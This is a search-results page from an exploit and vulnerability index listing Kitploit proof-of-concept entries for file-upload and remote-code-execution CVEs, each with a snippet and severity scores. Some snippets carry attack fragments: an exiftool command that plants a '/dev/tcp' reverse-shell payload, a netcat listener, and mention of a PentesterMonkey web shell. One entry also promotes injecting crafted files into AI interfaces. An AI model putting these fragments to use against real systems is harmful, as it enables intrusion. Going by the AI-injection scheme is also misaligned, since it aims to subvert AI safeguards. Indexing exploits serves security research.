Lucene search
+L

48073 matches found

Kitploit
Kitploit
added 2026/09/16 4:00 a.m.6 views

fortilogger_arbitrary_fileupload

CVE-2021-3378 | FortiLogger - Unauthenticated Arbitrary File Upload Metasploit Date: 30-01-2021 Exploit Author: Berkan Er [email protected] Vendor Homepage: https://www.fortilogger.com/ Software Link: https://www.fortilogger.com/download Version: 4.4.2.2 Tested on: Windows 10 Enterprise x64...

9.8CVSS8.1AI score0.97512EPSS
SaveExploits8References1
Kitploit
Kitploit
added 2026/09/16 3:54 a.m.6 views

CVE-2023-47246-EXP

Vulnerability Details 1. fofa: root@kitploit: body="sysaid-logo-dark-green.png" || title="SysAid Help Desk Software" || body="Help Desk software by SysAid" 2. Affected versions: SysAid Server23.3.36 Vulnerability Recurrence 1. Execute the script: root@kitploit: git clone...

9.8CVSS8.7AI score0.98851EPSS
SaveExploits3References1
Kitploit
Kitploit
added 2026/09/16 3:42 a.m.7 views

CVE-2025-6586

Download Plugin 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0: mtu 1500 qdisc...

7.2CVSS6.7AI score0.011EPSS
SaveExploits1References1
Kitploit
Kitploit
added 2026/09/16 3:36 a.m.5 views

CVE-2023-50164-ApacheStruts2-Docker

CVE-2023-50164 : Apache Struts 2 vulnerable Docker container Apache has recently released an advisory regarding CVE-2023-50164, a critical vulnerability with a severity rating of 9.8 that affects Apache Struts 2. CVE-2023-50164 is intricately tied to an organization's Apache Struts architecture a...

9.8CVSS8.9AI score0.80819EPSS
SaveExploits15
Kitploit
Kitploit
added 2026/09/16 3:35 a.m.11 views

CVE-2023-4226

🛠️ Exploitation CVE-2023-4226 for Chamilo LMS 📋 Description Python script that automates the exploitation of CVE-2023-4226 , an unrestricted file upload vulnerability in Chamilo LMS = v1.11.24. Uploads a PHP web shell based on PentesterMonkey and configures .htaccess to achieve a reverse shell...

8.8CVSS8AI score0.02433EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/09/16 3:28 a.m.8 views

CVE-2025-44608

CVE-2025-44608 CloudClassroom-PHP Project v1.0 is vulnerable to RCE via SQL Injection. Vendor: https://github.com/mathurvishal/CloudClassroom-PHP-Project Software Link: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip PoC Step 1: Navigate to the affected UR...

6.5CVSS5.9AI score0.00299EPSS
SaveExploits2References2
Kitploit
Kitploit
added 2026/09/16 3:20 a.m.11 views

CVE-2021-22005_PoC

CVE-2021-22005PoC CVE-2021-22005PoC getshell: https://gist.github.com/testanull/c2f6fd061c496ea90ddee151d6738d2e verify: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20210923WEBVmwarevCenterServerFIleUploadCVE-2021-20050.py...

9.8CVSS7.9AI score0.99999EPSS
SaveExploits11References2
Kitploit
Kitploit
added 2026/09/16 3:19 a.m.7 views

exploit-CVE-2020-5844

Exploit for CVE-2020-5844 Pandora FMS v7.0NG.742 - Remote Code Execution Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description...

7.2CVSS7.7AI score0.30254EPSS
SaveExploits6References2
Kitploit
Kitploit
added 2026/09/16 3:16 a.m.5 views

CVE-2021-42171

CVE-2021-42171 File upload to Remote Code Execution on Zenario CMS 9.0.54156 https://minhnq22.medium.com/file-upload-to-rce-on-zenario-9-0-54156-cms-fa05fcc6cf74 root@kitploit: Server test Distributor ID: Ubuntu Description: Ubuntu 21.04 Release: 21.04 Codename: hirsute...

7.2CVSS7.2AI score0.02523EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/16 3:16 a.m.8 views

lazyweb

LazyWeb - Vulnerable Web Application LazyWeb is a demonstration web application designed to showcase common server-side application vulnerabilities. Each vulnerability is categorized with its respective difficulty rating to provide a comprehensive learning experience for developers and security...

6.1AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/16 3:11 a.m.6 views

CVE-2023-24610

CVE-2023-24610 This is a proof of concept for CVE-2023-24610 We start by creating a polyglot file using exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php We change the file to png so it will pass the front-end check After that, we start a nc listener on port 8888 ...

8.8CVSS7.9AI score0.02121EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/16 3:08 a.m.9 views

CVE-2024-50379-POC

CVE-2024-50379-POC This repository contains a Python script designed to exploit CVE-2024-50379 , a vulnerability that allows attackers to upload a JSP shell to a vulnerable server and execute arbitrary commands remotely. This exploit is particularly useful when the /uploads directory is either...

9.8CVSS8.6AI score0.44312EPSS
SaveExploits13
Kitploit
Kitploit
added 2026/09/16 2:59 a.m.12 views

CVE-2023-46694

CVE-2023-46694 Discovered by: Federico Zambito with Innovery Summary Vtenext 21.02 allows an authenticated attacker to upload arbitrary files, resulting in remote code execution. This flaw exists due to the application's failure to enforce proper authentication controls when accessing the Ckedito...

8.1CVSS5.8AI score0.00941EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/16 2:41 a.m.5 views

CVE-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 exploit and writeup. Details CVE-2022-29464 is critical vulnerability on WSO2 discovered by Orange Tsai. the vulnerability is an unauthenticated unrestricted arbitrary file upload which allows unauthenticated attackers to gain RCE on WSO2 servers via uploadi...

10CVSS8.7AI score0.99999EPSS
SaveExploits22References1
Kitploit
Kitploit
added 2026/09/16 2:38 a.m.8 views

POC-CVE-2025-24813

CVE-2025-24813 Apache Tomcat RCE PoC Proof of Concept PoC exploiting CVE-2025-24813, a Remote Code Execution RCE vulnerability in Apache Tomcat. The vulnerability allows an attacker to upload a malicious serialized payload to the server, leading to arbitrary code execution via deserialization whe...

10CVSS8.8AI score0.99927EPSS
SaveExploits51
Kitploit
Kitploit
added 2026/09/16 2:30 a.m.6 views

CVE-2023-25202

CVE-2023-25202: Insecure file upload mechanism Description CVE-2023-25202 involves an insecure file upload mechanism within the Therefore application, which is overly permissive in the types of files users can upload. The application only blocks uploads of HTML, EXE, and BAK files, leaving it...

6.1AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/16 2:30 a.m.10 views

struts2_cve-2017-5638

struts2cve-2017-5638 This is a sort of Java porting of the Python exploit at: https://www.exploit-db.com/exploits/41570/. This software is written to have no external dependencies. DISCLAIMER This tool is intended for security engineers and appsec guys for security assessments. Please use this to...

10CVSS8.4AI score0.99999EPSS
SaveExploits46
Kitploit
Kitploit
added 2026/09/16 2:26 a.m.11 views

S2-045-EXP-POC-TOOLS

CNVD-ID CNVD-2017-02474 Release Date 2017-03-07 Hazard Level High AV:N/AC:L/Au:N/C:C/I:C/A:C Affected Products Apache Struts =2.3.5, =2.5, CVE Identifier CVE-2017-5638 Problem It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value...

10CVSS8.1AI score0.99999EPSS
SaveExploits46
Kitploit
Kitploit
added 2026/09/16 2:24 a.m.9 views

CVE-2022-42092

CVE-2022-42092 Python Exploit 🔥 Description This Python exploit script targets an unrestricted file upload in Backdrop CMS to achieve a Remote Code Execution RCE. ⚠️ Affected Versions Version 1.22.0 and prior version Note: Backdrop CMS disputes this and argues that advanced permissions are...

8.8CVSS7.7AI score0.01654EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/16 2:17 a.m.9 views

pmotadeee

🧠 FLATLINE - Consciousness Injection Protocol WARNING: This is not a game. It's a cognitive interface for reality hacking. 🎮 HOW TO PLAY Basic Gameplay 1. Download consciousness modules CSV files from this repository 2. Inject directly into AI interfaces as file uploads 3. Experience accelerated...

5.9AI score
SaveExploits0
Rows per page
Query Builder